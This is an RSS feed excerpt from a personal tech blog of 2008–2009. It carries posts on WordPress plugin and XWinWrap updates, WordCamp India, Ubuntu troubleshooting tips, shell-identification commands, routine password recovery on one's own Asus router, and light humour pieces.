&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/killzone_2D2_2Dsteelbook_2Dedition_2D3.jpg" alt="Killzone 2 Steelbook Edition 3"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/killzone_2D2_2Dsteelbook_2Dedition_2D4.jpg" alt="Killzone 2 Steelbook Edition 4"&gt;&lt;/p&gt;</content></item><item><title>Project: Shantz WordPress Prefix Suffix Updated to 1.1.2</title><link>https://shantanugoel.com/2009/02/19/project-shantz-wordpress-prefix-suffix-updated-to-112/</link><pubDate>Thu, 19 Feb 2009 18:30:15 +0000</pubDate><guid>https://shantanugoel.com/2009/02/19/project-shantz-wordpress-prefix-suffix-updated-to-112/</guid><description>&lt;p&gt;My WordPress Plugin &amp;ldquo;Shantz Wordpress Prefix Suffix&amp;rdquo; has just been updated to version 1.1.2. For those who don&amp;rsquo;t know, this is a super-light and easy to use plugin that allows you to add any text or html/javascript/php code to your posts, be it the top of the posts, bottom of the posts or even in the middle. And you get a lot of options to control all this. I use it even on my site, to create links for my other blogs, adding copyright notices and even for advertisements (google adsense, chitika premium, etc).&lt;/p&gt;</description><content>&lt;p&gt;My WordPress Plugin &amp;ldquo;Shantz Wordpress Prefix Suffix&amp;rdquo; has just been updated to version 1.1.2. For those who don&amp;rsquo;t know, this is a super-light and easy to use plugin that allows you to add any text or html/javascript/php code to your posts, be it the top of the posts, bottom of the posts or even in the middle. And you get a lot of options to control all this. I use it even on my site, to create links for my other blogs, adding copyright notices and even for advertisements (google adsense, chitika premium, etc).&lt;/p&gt;
&lt;p&gt;This update brings in WordPress 2.7.1 compatibility and also another option to control the plugin order. If there are some other plugins that add content to your posts (e.g. sociable, simple tags, related posts, etc), you might notice that the text/code you append with this plugin may not occur in exactly the place you want (e.g. you might want to occur after all other plugins have posted their content). So, you can easily control this now by changing the priority value in the plugin settings. Make it higher to push the content down and lower it to add your content before anything else.&lt;/p&gt;</content></item><item><title>Project: Shantz XWinWrap Update to 0.3</title><link>https://shantanugoel.com/2009/02/16/project-shantz-xwinwrap-update-to-03/</link><pubDate>Mon, 16 Feb 2009 18:30:03 +0000</pubDate><guid>https://shantanugoel.com/2009/02/16/project-shantz-xwinwrap-update-to-03/</guid><description>&lt;p&gt;Here is another update for the fans of XWinWrap, the tiny program that allows you to run animated wallpapers on your system. You could use screensavers, movies and what not as your desktop background. This update fixes a segfault that many users were facing, a new debug option to print some debug mesages to get some info if it is not working for you and a new hack option for giving a &amp;ldquo;desktop window&amp;rdquo; name to the program. On many systems, the desktop is drawn by another program. e.g. in Ubuntu with Gnome environment, the desktop is managed by Nautilus, which creates a special window called &amp;ldquo;Desktop&amp;rdquo; and places it over your real desktop. This window name can be different in different systems. To find out what is yours, just run &amp;ldquo;xwininfo&amp;rdquo; in a terminal. Your cursor will become a &amp;ldquo;+&amp;rdquo; sign. Click anywhere on an empty area on your desktop, which will give you the window name of the transparent window, if any, that is covering your desktop. Pass this info to xwinwrap using the option &amp;ldquo;-d windowname&amp;rdquo; and it would help it to run better.&lt;/p&gt;</description><content>&lt;p&gt;Here is another update for the fans of XWinWrap, the tiny program that allows you to run animated wallpapers on your system. You could use screensavers, movies and what not as your desktop background. This update fixes a segfault that many users were facing, a new debug option to print some debug mesages to get some info if it is not working for you and a new hack option for giving a &amp;ldquo;desktop window&amp;rdquo; name to the program. On many systems, the desktop is drawn by another program. e.g. in Ubuntu with Gnome environment, the desktop is managed by Nautilus, which creates a special window called &amp;ldquo;Desktop&amp;rdquo; and places it over your real desktop. This window name can be different in different systems. To find out what is yours, just run &amp;ldquo;xwininfo&amp;rdquo; in a terminal. Your cursor will become a &amp;ldquo;+&amp;rdquo; sign. Click anywhere on an empty area on your desktop, which will give you the window name of the transparent window, if any, that is covering your desktop. Pass this info to xwinwrap using the option &amp;ldquo;-d windowname&amp;rdquo; and it would help it to run better.&lt;/p&gt;
&lt;p&gt;As usual, 32 bit as well as 64 bit binary files are available as downloads. For users of Debian and derived operating systems (like Ubuntu, Mepis, etc), deb packages are also included for both architectures for easy installation. Source code is also available, of course.&lt;/p&gt;</content></item><item><title>WordCamp India Is Here</title><link>https://shantanugoel.com/2009/02/14/wordcamp-india/</link><pubDate>Sat, 14 Feb 2009 20:51:48 +0000</pubDate><guid>https://shantanugoel.com/2009/02/14/wordcamp-india/</guid><description>&lt;p&gt;&lt;a href="http://wci.eventbrite.com/"&gt;&lt;img src="https://shantanugoel.com/img/uploads/wordcamp-india-registration.gif" alt="WordCamp India"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Just a little piece of news to all the bloggers, and especially WordPressers (did I just coin a new term?), out there. WordCamp is coming to India. And what&amp;rsquo;s more, Matt is going to be there. (Yes, THE Matt. Oh My, you just don&amp;rsquo;t believe me, do you. Fanboys, it is time to rejoice as I assure you this is THE&lt;a href="http://ma.tt"&gt; Matt Mullenweg&lt;/a&gt;). It&amp;rsquo;s going to be held on the 21st and 22nd of this Feb at Adobe, Noida (who are the main sponsors for this event).&lt;/p&gt;</description><content>&lt;p&gt;&lt;a href="http://wci.eventbrite.com/"&gt;&lt;img src="https://shantanugoel.com/img/uploads/wordcamp-india-registration.gif" alt="WordCamp India"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Just a little piece of news to all the bloggers, and especially WordPressers (did I just coin a new term?), out there. WordCamp is coming to India. And what&amp;rsquo;s more, Matt is going to be there. (Yes, THE Matt. Oh My, you just don&amp;rsquo;t believe me, do you. Fanboys, it is time to rejoice as I assure you this is THE&lt;a href="http://ma.tt"&gt; Matt Mullenweg&lt;/a&gt;). It&amp;rsquo;s going to be held on the 21st and 22nd of this Feb at Adobe, Noida (who are the main sponsors for this event).&lt;/p&gt;
&lt;p&gt;And there is an excellent number of events lined up already. Bollywood masala lovers, start drooling because WordCamp India is going to be a cool mix of talks, interactive discussions, code etc ranging from topics that interest the average joe blogger to the one who wants to make his empire around blogging. Many eminent personalities, besides Matt, would be gracing the occassion and none of these would be there just for the show. All of them have agreed to share their wealth of information with the participants.&lt;/p&gt;
&lt;p&gt;So, what are you waiting for? Head on to &lt;a href="http://www.delhibloggersbloc.com/"&gt;Delhi Bloggers&amp;rsquo; Blog&lt;/a&gt; for complete details or click on the banner at the top for registration. For any other information, ring up Priyanka (9811511719), Mayank (9910786431) or Sanjay (9873707071).&lt;/p&gt;</content></item><item><title>[TIP] Ubuntu 1 MB /tmp Partition Problem</title><link>https://shantanugoel.com/2009/02/10/tip-ubuntu-1-mb-tmp-partition-problem/</link><pubDate>Tue, 10 Feb 2009 00:30:31 +0000</pubDate><guid>https://shantanugoel.com/2009/02/10/tip-ubuntu-1-mb-tmp-partition-problem/</guid><description>&lt;p&gt;Recently someone asked me about an issue he was facing with his Ubuntu Hardy Heron installation. Many of the applications, that he regularly used, were misbehaving. e.g., he couldn&amp;rsquo;t play flash videos in firefox, downloads were failing, installation of new applications were failing, etc. Everything was giving errors of not enough disk space even though he had quite a few GBs left on his drive. A few of the error messages pointed out that there wasn&amp;rsquo;t enough space in /tmp. And indeed, he was unable to store anything more than 1 MB inside this particular directory. After a quick look I found out the issue. Ubuntu had created another partition with /tmp being its mount point and its maz size was set to 1 MB.&lt;/p&gt;</description><content>&lt;p&gt;Recently someone asked me about an issue he was facing with his Ubuntu Hardy Heron installation. Many of the applications, that he regularly used, were misbehaving. e.g., he couldn&amp;rsquo;t play flash videos in firefox, downloads were failing, installation of new applications were failing, etc. Everything was giving errors of not enough disk space even though he had quite a few GBs left on his drive. A few of the error messages pointed out that there wasn&amp;rsquo;t enough space in /tmp. And indeed, he was unable to store anything more than 1 MB inside this particular directory. After a quick look I found out the issue. Ubuntu had created another partition with /tmp being its mount point and its maz size was set to 1 MB.&lt;/p&gt;
&lt;p&gt;A search told me that this occurs if you happen to run out of disk space on your root partition some time, so Ubuntu automatically limits the size of /tmp to squeeze as much out of the remaining space as it can. Ideally, original behaviour of /tmp should be restored once you recover some space but it doesn&amp;rsquo;t happen. The solution? Well, it is pretty simple. Just follow these steps.&lt;/p&gt;
&lt;p&gt;Step 1. Open up /etc/mtab in your favourite editor. e.g. gksudo gedit /etc/mtab&lt;/p&gt;
&lt;p&gt;Step 2. Look for a line that looks something like below example and delete it.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;overflow /tmp tmpfs rw,size=1048576,mode=1777 0 0&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Step 3. Save the file and restart your computer. That&amp;rsquo;s it.&lt;/p&gt;
&lt;p&gt;Now, this problem might not just be Ubuntu specific though and might happen with other distros as well. So, if you come across such an issue, try out this solution.&lt;/p&gt;</content></item><item><title>[Ubuntu TIP] Solved: Totem Cannot Detect UPnP Media Server</title><link>https://shantanugoel.com/2009/01/31/ubuntu-tip-solved-totem-cannot-detect-upnp-media-server/</link><pubDate>Sat, 31 Jan 2009 17:46:28 +0000</pubDate><guid>https://shantanugoel.com/2009/01/31/ubuntu-tip-solved-totem-cannot-detect-upnp-media-server/</guid><description>&lt;p&gt;First a bit of background. A UPnP media server can serve your media files (video / audio / pictures) over the network to any compatible player. Some of the most known examples of these media servers are MediaTomb, TVersity, ushare, etc. In linux, few players can play media off these servers natively, but many require a plugin / library called &amp;ldquo;coherence&amp;rdquo;. e.g. the default media players (Totem and RhythmBox) can detect and play media from media servers once you install coherence (&amp;ldquo;sudo apt-get install python-coherence&amp;rdquo;). This works, BUT you will see that many times Totem will stop detecting the server suddenly. It happens to me quite a bit (The server I use is Mediatomb). First I thought that the problem is with Media Tomb, but my PS3 continued to play videos from it over wi-fi without any issues, so that was ruled out. I tried many things but in the end, the solution turned out to be pretty simple. The problem seems to be that the coherence library hangs some times. Simple thing is to just restart it. So, all you need to do is run the following command:&lt;/p&gt;</description><content>&lt;p&gt;First a bit of background. A UPnP media server can serve your media files (video / audio / pictures) over the network to any compatible player. Some of the most known examples of these media servers are MediaTomb, TVersity, ushare, etc. In linux, few players can play media off these servers natively, but many require a plugin / library called &amp;ldquo;coherence&amp;rdquo;. e.g. the default media players (Totem and RhythmBox) can detect and play media from media servers once you install coherence (&amp;ldquo;sudo apt-get install python-coherence&amp;rdquo;). This works, BUT you will see that many times Totem will stop detecting the server suddenly. It happens to me quite a bit (The server I use is Mediatomb). First I thought that the problem is with Media Tomb, but my PS3 continued to play videos from it over wi-fi without any issues, so that was ruled out. I tried many things but in the end, the solution turned out to be pretty simple. The problem seems to be that the coherence library hangs some times. Simple thing is to just restart it. So, all you need to do is run the following command:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo killall coherence&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Then, just restart Totem and it will work fine now (Totem will invoke coherence again automatically). :)&lt;/p&gt;</content></item><item><title>Tip: Commands To Find Out The Shell You Are Using</title><link>https://shantanugoel.com/2009/01/27/tip-commands-to-find-out-the-shell-you-are-using/</link><pubDate>Tue, 27 Jan 2009 18:00:00 +0000</pubDate><guid>https://shantanugoel.com/2009/01/27/tip-commands-to-find-out-the-shell-you-are-using/</guid><description>&lt;p&gt;Many times you might not be sure about which shell you are currently using. Especially if you are not on your system and logging into someone else&amp;rsquo;s, or maybe ssh&amp;rsquo;ing into a remote server. Worry not, because here are few simple commands that you can use to find out which shell you are using currently.&lt;/p&gt;
&lt;p&gt;Command (Note: This one is a bit unreliable as it might not work with non-bash shells or on redirection. Pls check the comments for details. Thanks to Shantanu Kumar and renoX for pointing this out.):&lt;/p&gt;</description><content>&lt;p&gt;Many times you might not be sure about which shell you are currently using. Especially if you are not on your system and logging into someone else&amp;rsquo;s, or maybe ssh&amp;rsquo;ing into a remote server. Worry not, because here are few simple commands that you can use to find out which shell you are using currently.&lt;/p&gt;
&lt;p&gt;Command (Note: This one is a bit unreliable as it might not work with non-bash shells or on redirection. Pls check the comments for details. Thanks to Shantanu Kumar and renoX for pointing this out.):&lt;/p&gt;
&lt;p&gt;&lt;code&gt;echo $SHELL&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Output on my system:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/bin/bash&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Command:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;echo $0&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Output on my system:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;bash&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Command:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ps -p $$&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Output on my system:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;7772 pts/0 00:00:00 bash&lt;/code&gt;&lt;/p&gt;</content></item><item><title>[TIP] Asus WL-500W Hacks:How To Reset Web Admin Password</title><link>https://shantanugoel.com/2009/01/23/tip-asus-wl-500w-hackshow-to-reset-web-admin-password/</link><pubDate>Fri, 23 Jan 2009 22:41:31 +0000</pubDate><guid>https://shantanugoel.com/2009/01/23/tip-asus-wl-500w-hackshow-to-reset-web-admin-password/</guid><description>&lt;p&gt;Most of you must be knowing by now that I bought the amazing Asus WL-500W router a few days back. This router builds on the great lineage it has in its predecessors, the WL-500g, WL-500g Deluxe, WL-500gP, WL-500gP v2 etc, and shines ahead with being much more than a router, rather a complete headless linux PC. Anyways, to the point. In most routers/modems, if you forget the password to your web-administration gui (which generally resides as 192.168.1.1), the only option left is to reset the router, thereby losing all your settings etc. But not so with this little beast. If you remember your ssh password (which BTW is available if you have installed a custom firmware on our router), then you can just login through it to your router and execute the following commands to save your skin:&lt;/p&gt;</description><content>&lt;p&gt;Most of you must be knowing by now that I bought the amazing Asus WL-500W router a few days back. This router builds on the great lineage it has in its predecessors, the WL-500g, WL-500g Deluxe, WL-500gP, WL-500gP v2 etc, and shines ahead with being much more than a router, rather a complete headless linux PC. Anyways, to the point. In most routers/modems, if you forget the password to your web-administration gui (which generally resides as 192.168.1.1), the only option left is to reset the router, thereby losing all your settings etc. But not so with this little beast. If you remember your ssh password (which BTW is available if you have installed a custom firmware on our router), then you can just login through it to your router and execute the following commands to save your skin:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;nvram get http_passwd&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This will display the current web administration password.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;nvram set http_passwd=&amp;quot;NewPasswd&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This will set the new password. But remember that you have to enter another command (given below) to make sure that your new password is saved.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;nvram commit&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Now, just reboot and enjoy :)&lt;/p&gt;</content></item><item><title>Slow Updates And A Small Nugget Post</title><link>https://shantanugoel.com/2009/01/13/slow-updates-and-a-small-nugget-post/</link><pubDate>Tue, 13 Jan 2009 04:47:00 +0000</pubDate><guid>https://shantanugoel.com/2009/01/13/slow-updates-and-a-small-nugget-post/</guid><description>&lt;p&gt;Many readers of this blog have written to me for the slow updates. I apologize for the same. I’ve been swamped by loads of work for quite some time now and haven’t been able to write anything here or update any of my projects, though I have loads of new hacks and tricks that I would write once I’m free and lots in store for most of the projects as well in form of bug fixes and new features. So, hang in there :)&lt;/p&gt;</description><content>&lt;p&gt;Many readers of this blog have written to me for the slow updates. I apologize for the same. I’ve been swamped by loads of work for quite some time now and haven’t been able to write anything here or update any of my projects, though I have loads of new hacks and tricks that I would write once I’m free and lots in store for most of the projects as well in form of bug fixes and new features. So, hang in there :)&lt;/p&gt;
&lt;p&gt;Meanwhile, take a look at this post ( &lt;a href="http://www.safercode.com/blog/2008/10/14/int-main-vs-void-main.html"&gt;int Main() vs void main()&lt;/a&gt; )that I had made some time ago at another blog of mine ( &lt;a href="http://www.safercode.com/blog/"&gt;Safer Code - Secure Coding In C \ C++ And More&lt;/a&gt; ). Why I’m telling you about this post is that it is a really important post useful for every C / C++ developer and recently it got featured on LinuxToday and Lxer, after which there is a very interesting discussion going on to discuss the various aspects related to it.&lt;/p&gt;
&lt;p&gt;Do check out the rest of the blog as well. It is about tit-bits of security, optimization and performance of your code and in a manner and amount that you can easily digest. What’s best is that it is delivered regularly at a slow pace that everyone can follow :). So, what are you waiting for? Add it to your feed reader or choose to get the updates through e-mail and do let me know in the comments there how you like it.&lt;/p&gt;</content></item><item><title>Contest: Free 20$ SiteGround Web Hosting Coupon</title><link>https://shantanugoel.com/2008/12/12/contest-free-20-siteground-web-hosting-coupon/</link><pubDate>Fri, 12 Dec 2008 14:30:00 +0000</pubDate><guid>https://shantanugoel.com/2008/12/12/contest-free-20-siteground-web-hosting-coupon/</guid><description>&lt;p&gt;I have a coupon to give away for the excellent &lt;a href="http://www.siteground.com"&gt;SiteGround Web Hosting&lt;/a&gt;. This coupon will take off 20$ from anything you want to buy from them. If you have an existing website with them, then also you can use this to take off 20$ from your bill. So, what do you have to do? Just follow the 2 simple steps listed below, and I’ll choose one lucky winner at random to give it away.&lt;/p&gt;</description><content>&lt;p&gt;I have a coupon to give away for the excellent &lt;a href="http://www.siteground.com"&gt;SiteGround Web Hosting&lt;/a&gt;. This coupon will take off 20$ from anything you want to buy from them. If you have an existing website with them, then also you can use this to take off 20$ from your bill. So, what do you have to do? Just follow the 2 simple steps listed below, and I’ll choose one lucky winner at random to give it away.&lt;/p&gt;
&lt;p&gt;Step 1. Subscribe (free) to receive this blog’s updates through email using the subscribe through email box on the right (which reads &amp;ldquo;Free Email Updates&amp;rdquo;).&lt;/p&gt;
&lt;p&gt;Step 2. Leave a comment on this post mentioning your email ID with which you registered so that I know that you have registered (you can leave a small part of your username in your email ID if you want).&lt;/p&gt;
&lt;p&gt;Then just sit back and relax, or better still, read a few other nice posts on my blog and comment on them :). I’ll choose the winner in a few days and let you guys know right here. So, stay tuned.&lt;/p&gt;
&lt;p&gt;What are you waiting for? I’d get those fingers moving if I were you ;). Good Luck.&lt;/p&gt;</content></item><item><title>The Solution To Your Problem Is Out There .... Somewhere</title><link>https://shantanugoel.com/2008/12/03/the-solution-to-your-problem-is-out-there-somewhere/</link><pubDate>Wed, 03 Dec 2008 15:30:00 +0000</pubDate><guid>https://shantanugoel.com/2008/12/03/the-solution-to-your-problem-is-out-there-somewhere/</guid><description>&lt;p&gt;I got hold of a new Asus WL-500W router for me (Pics &amp;amp; specs coming up soon). The router has open source firmware so people can develop applications for it. One such app (ADOS) is that allows you to configure the router to download stuff directly to a hard disk (connected to router through USB) without the need of keeping the PC switched on. One of the app users reported the following error (Click on the pic to enlarge) that he got while using the app.&lt;/p&gt;</description><content>&lt;p&gt;I got hold of a new Asus WL-500W router for me (Pics &amp;amp; specs coming up soon). The router has open source firmware so people can develop applications for it. One such app (ADOS) is that allows you to configure the router to download stuff directly to a hard disk (connected to router through USB) without the need of keeping the PC switched on. One of the app users reported the following error (Click on the pic to enlarge) that he got while using the app.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/ADOS_20error_20message.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/ADOS_20error_20message_thumb.jpg" alt="Asus WL-500W ADOS error message"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s see what it says:&lt;/p&gt;
&lt;p&gt;[Error] Description: An error occured while connecting to the remote server.&lt;/p&gt;
&lt;p&gt;Probable Reasons: Probable reasons can be found in the error&amp;rsquo;s description. (Hmmm, lets wait &amp;amp; watch)&lt;/p&gt;
&lt;p&gt;Probable Solutions: Probable soulutions (sic) can be found in the error&amp;rsquo;s description. (Yay!! Alright….hey, wait a sec, how am I supposed to find a solution from a description that says &amp;ldquo;An error occured&amp;rdquo;)&lt;/p&gt;
&lt;p&gt;So, that&amp;rsquo;s it for now folks. Am off to the himalayas to get some training from the mahatmas in the exquisite art of psychic healing (and router apps bug fixing).&lt;/p&gt;</content></item><item><title>The Future Of Cell-Phones Is Here</title><link>https://shantanugoel.com/2008/11/23/the-future-of-cell-phones-is-here/</link><pubDate>Sun, 23 Nov 2008 21:00:59 +0000</pubDate><guid>https://shantanugoel.com/2008/11/23/the-future-of-cell-phones-is-here/</guid><description>&lt;p&gt;My company had a video contest a few days ago (which yours-truly won by a handsome margin :) ). The topic was “Future of Wireless” as perceived by the employees but with the catch that it had to be done in just 10 seconds or less.&lt;/p&gt;
&lt;p&gt;Now, everyone know that there is rarely a moment when I can think like a normal, sane person, and hence took a rather “alternative” look at what the future holds for us. (Hint: “Mine is bigger” jokes are gonna be in fashion again ;) ). Take a look below and don’t forget to leave your comments on how you liked it. So, without further ado, I present to you “&lt;strong&gt;Welcome To A Phone-Y Future&lt;/strong&gt;”.
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;"&gt;
&lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/fMhRPIPBJ3w?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"&gt;&lt;/iframe&gt;
&lt;/div&gt;
&lt;/p&gt;</description><content>&lt;p&gt;My company had a video contest a few days ago (which yours-truly won by a handsome margin :) ). The topic was “Future of Wireless” as perceived by the employees but with the catch that it had to be done in just 10 seconds or less.&lt;/p&gt;
&lt;p&gt;Now, everyone know that there is rarely a moment when I can think like a normal, sane person, and hence took a rather “alternative” look at what the future holds for us. (Hint: “Mine is bigger” jokes are gonna be in fashion again ;) ). Take a look below and don’t forget to leave your comments on how you liked it. So, without further ado, I present to you “&lt;strong&gt;Welcome To A Phone-Y Future&lt;/strong&gt;”.
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;"&gt;
&lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/fMhRPIPBJ3w?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"&gt;&lt;/iframe&gt;
&lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;NOTE: If you like it, you can &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http%3A%2F%2Ftech.shantanugoel.com%2F2008%2F11%2F24%2Fthe-future-of-cell-phones-is-here.html&amp;amp;title=The%20Future%20Of%20Cell-Phones%20Is%20Here"&gt;digg &lt;/a&gt;, &lt;a href="http://www.reddit.com/r/funny/comments/7fa2x/the_future_of_cellphones_is_here/"&gt;reddit&lt;/a&gt; or &lt;a href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Ftech.shantanugoel.com%2F2008%2F11%2F24%2Fthe-future-of-cell-phones-is-here.html&amp;amp;title=The%20Future%20Of%20Cell-Phones%20Is%20Here"&gt;stumble&lt;/a&gt; it&lt;/strong&gt;&lt;/p&gt;</content></item><item><title>Call For Google Adsense Maths Class Charity Fund</title><link>https://shantanugoel.com/2008/11/23/call-for-google-adsense-maths-class-charity-fund/</link><pubDate>Sun, 23 Nov 2008 08:25:36 +0000</pubDate><guid>https://shantanugoel.com/2008/11/23/call-for-google-adsense-maths-class-charity-fund/</guid><description>&lt;p&gt;I hereby call for setting up a charity fund so that we can donate some money to get the poor ol’ Google Adsense some Mathematics/Algebra 101 classes because apparantly it thinks that 0.63 + 0.07 = 0.69.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/Google-AdSense-Reports-Miscalculation.png" alt="Google-AdSense-Reports-Miscalculation"&gt;&lt;/p&gt;</description><content>&lt;p&gt;I hereby call for setting up a charity fund so that we can donate some money to get the poor ol’ Google Adsense some Mathematics/Algebra 101 classes because apparantly it thinks that 0.63 + 0.07 = 0.69.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/Google-AdSense-Reports-Miscalculation.png" alt="Google-AdSense-Reports-Miscalculation"&gt;&lt;/p&gt;</content></item><item><title>Project: Shantz-WP-Prefix-Suffix Updated to 1.1.0</title><link>https://shantanugoel.com/2008/11/20/project-shantz-wp-prefix-suffix-updated-to-110/</link><pubDate>Thu, 20 Nov 2008 04:08:17 +0000</pubDate><guid>https://shantanugoel.com/2008/11/20/project-shantz-wp-prefix-suffix-updated-to-110/</guid><description>&lt;p&gt;Well, its not just prefix suffix any more, because I added an option to add things in the middle of the posts as well. I got this idea because people told me that this was one of the most sought after option as advertisements (e.g. google adsense, adbrite, etc) give maximum click through rate when placed smack dab in the middle of the content. What’s more is that it is configurable and you can choose how many paragraphs and/or words should be skipped from the start of the post before you add whatever you want, be it text, css, html, php or javascript.&lt;/p&gt;</description><content>&lt;p&gt;Well, its not just prefix suffix any more, because I added an option to add things in the middle of the posts as well. I got this idea because people told me that this was one of the most sought after option as advertisements (e.g. google adsense, adbrite, etc) give maximum click through rate when placed smack dab in the middle of the content. What’s more is that it is configurable and you can choose how many paragraphs and/or words should be skipped from the start of the post before you add whatever you want, be it text, css, html, php or javascript.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/screenshot_2D1.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/screenshot_2D1_thumb.jpg" alt="WordPress Plugin Shantz WP Prefix Suffic Configuration Screenshot"&gt;&lt;/a&gt;
&lt;a href="https://shantanugoel.com/img/uploads/screenshot_2D2.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/screenshot_2D2_thumb.jpg" alt="Wordpress Plugin Shantz Wp Prefix Suffix In Action"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;And don’t forget to let me know what you think about it or if you want any new features included.&lt;/p&gt;</content></item><item><title>Boycott Novell Protestors Manhandled By National Free Software Conference 2008 Organizers</title><link>https://shantanugoel.com/2008/11/16/boycott-novell-protestors-manhandled-by-national-free-software-conference-2008-organizers/</link><pubDate>Sun, 16 Nov 2008 09:38:39 +0000</pubDate><guid>https://shantanugoel.com/2008/11/16/boycott-novell-protestors-manhandled-by-national-free-software-conference-2008-organizers/</guid><description>&lt;p&gt;This is a really sad day. Not only the organizers of National Conference On Free Software 2008 taking place at CUSAT seem to be utterly misguided when they decided to let Novell be on-board as their main sponsor, they even took the extreme step of bringing in police to silence the lone voices of the Boycott Novell protestors. They seem to be treading on the toes of not just free software but free speech as well, which is against the very ethics of the conference they are holding. I&amp;rsquo;m not sure whether the conference organizers took this step on their own or in cahoots with Novell-Microsoft &amp;ldquo;gang&amp;rdquo; but whatever happened was unfortunate. You can see the pictures on &lt;a href="http://playingwithsid.blogspot.com/2008/11/boycott-novell-protesters-man-handled.html"&gt;Arky&amp;rsquo;s Blog&lt;/a&gt;.&lt;/p&gt;</description><content>&lt;p&gt;This is a really sad day. Not only the organizers of National Conference On Free Software 2008 taking place at CUSAT seem to be utterly misguided when they decided to let Novell be on-board as their main sponsor, they even took the extreme step of bringing in police to silence the lone voices of the Boycott Novell protestors. They seem to be treading on the toes of not just free software but free speech as well, which is against the very ethics of the conference they are holding. I&amp;rsquo;m not sure whether the conference organizers took this step on their own or in cahoots with Novell-Microsoft &amp;ldquo;gang&amp;rdquo; but whatever happened was unfortunate. You can see the pictures on &lt;a href="http://playingwithsid.blogspot.com/2008/11/boycott-novell-protesters-man-handled.html"&gt;Arky&amp;rsquo;s Blog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This is not something we should just sit and watch and should raise our voice against it. Please &lt;a href="http://digg.com/linux_unix/Boycott_Novell_Protestors_Manhandled_at_Free_Software_Conf"&gt;digg this post&lt;/a&gt;, forward this link to your friends, write about it on your own blogs and spread the word.&lt;/p&gt;</content></item><item><title>A Treat For Google Lovers: Google Solutions Marketplace</title><link>https://shantanugoel.com/2008/11/10/a-treat-for-google-lovers-google-solutions-marketplace/</link><pubDate>Mon, 10 Nov 2008 14:30:22 +0000</pubDate><guid>https://shantanugoel.com/2008/11/10/a-treat-for-google-lovers-google-solutions-marketplace/</guid><description>&lt;p&gt;Given the ignorant lazy bum I am, until a couple of days ago I was unaware of this magical place called “&lt;a href="http://www.google.com/enterprise/marketplace/"&gt;Google Solutions Marketplace&lt;/a&gt;”. According to Google:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The Google Solutions Marketplace links customers to vendors whose solutions integrate and extend Google&amp;rsquo;s communication, collaboration, and enterprise search products.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Basically it is a boon for both, google product users who depend on various search, enterprise, search and apps related Google offerings, and developers who develop products and services based upon these. Google Solutions Marketplace acts as a bridge between the two to offer a one stop shop where you can buy (or even get for free, in many cases) the brilliant ideas that have been developed by many individuals and companies based on google’s services.&lt;/p&gt;</description><content>&lt;p&gt;Given the ignorant lazy bum I am, until a couple of days ago I was unaware of this magical place called “&lt;a href="http://www.google.com/enterprise/marketplace/"&gt;Google Solutions Marketplace&lt;/a&gt;”. According to Google:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The Google Solutions Marketplace links customers to vendors whose solutions integrate and extend Google&amp;rsquo;s communication, collaboration, and enterprise search products.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Basically it is a boon for both, google product users who depend on various search, enterprise, search and apps related Google offerings, and developers who develop products and services based upon these. Google Solutions Marketplace acts as a bridge between the two to offer a one stop shop where you can buy (or even get for free, in many cases) the brilliant ideas that have been developed by many individuals and companies based on google’s services.&lt;/p&gt;
